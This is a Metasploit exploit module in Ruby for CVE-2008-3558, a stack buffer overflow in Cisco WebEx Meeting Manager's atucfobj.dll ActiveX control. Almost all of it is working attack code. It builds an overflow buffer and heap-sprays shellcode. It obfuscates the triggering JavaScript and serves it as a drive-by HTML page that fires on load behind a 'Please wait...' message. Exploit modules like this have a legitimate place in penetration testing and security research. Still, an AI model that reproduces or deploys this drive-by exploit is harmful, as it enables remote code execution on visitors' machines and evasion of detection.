Cisco WebEx Meeting Manager UCF – ‘atucfobj.dll’ ActiveX NewObject Method Buffer Overflow (Metasploit)
## # $Id: webex_ucf_newobject.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject ActiveX Control. If an long string is passed to the 'NewObject' method, a stack- based buffer overflow will occur when copying attacker-supplied data using the sprintf function. It is noteworthy that this vulnerability was discovered and reported by multiple independent researchers. To quote iDefense's advisory, "Before this issue was publicly reported, at least three independent security researchers had knowledge of this issue; thus, it is reasonable to believe that even more people were aware of this issue before disclosure." NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload into memory unmodified. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tobias Klein', # initial discoverer 'Elazar Broad', # initial discoverer 'Guido Landi', # milw0rm exploit 'jduck' # metasploit version ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2008-3558' ], [ 'OSVDB', '47344' ], [ 'BID', '30578' ], [ 'URL', 'http://www.exploit-db.com/exploits/6220' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=849' ], [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-009.txt' ], [ 'URL', 'http://tk-blog.blogspot.com/2008/09/vulnerability-rediscovery-xss-and-webex.html' ], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2008-08/0084.html' ], [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a00809e2006.shtml' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # Tested with atucfobj.dll v20.2008.2601.4928 [ 'Windows Universal', { 'Ret' => 0x0c0c0c0c } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 06 2008')) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # ActiveX parameters progid = "WebexUCFObject.WebexUCFObject" clsid = "32E26FD9-F435-4A20-A561-35D4B987CFDC" # Set parameters fnname = rand_text_alpha(8+rand(8)) offset = 232 # Build the exploit buffer sploit = rand_text_alphanumeric(offset) sploit << [target.ret - 0x20000].pack('V') # Encode variables sploit = Rex::Text.to_hex(sploit, '%') shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Prepare the heap spray parameters spray_num = "0x%x" % target.ret # Generate the final javascript js = %Q| function #{fnname}() { try { var obj = new ActiveXObject("#{progid}"); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000); var sploit = my_unescape("#{sploit}"); obj.NewObject(sploit); } catch( e ) { window.location = 'about:blank' ; } } | # Obfuscate the javascript opts = { 'Strings' => true, 'Symbols' => { 'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate() # Build the final HTML content = %Q|<html> <head> <script language=javascript> #{js} </script> </head> <body onload="#{fnname}()"> Please wait... </body> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end end |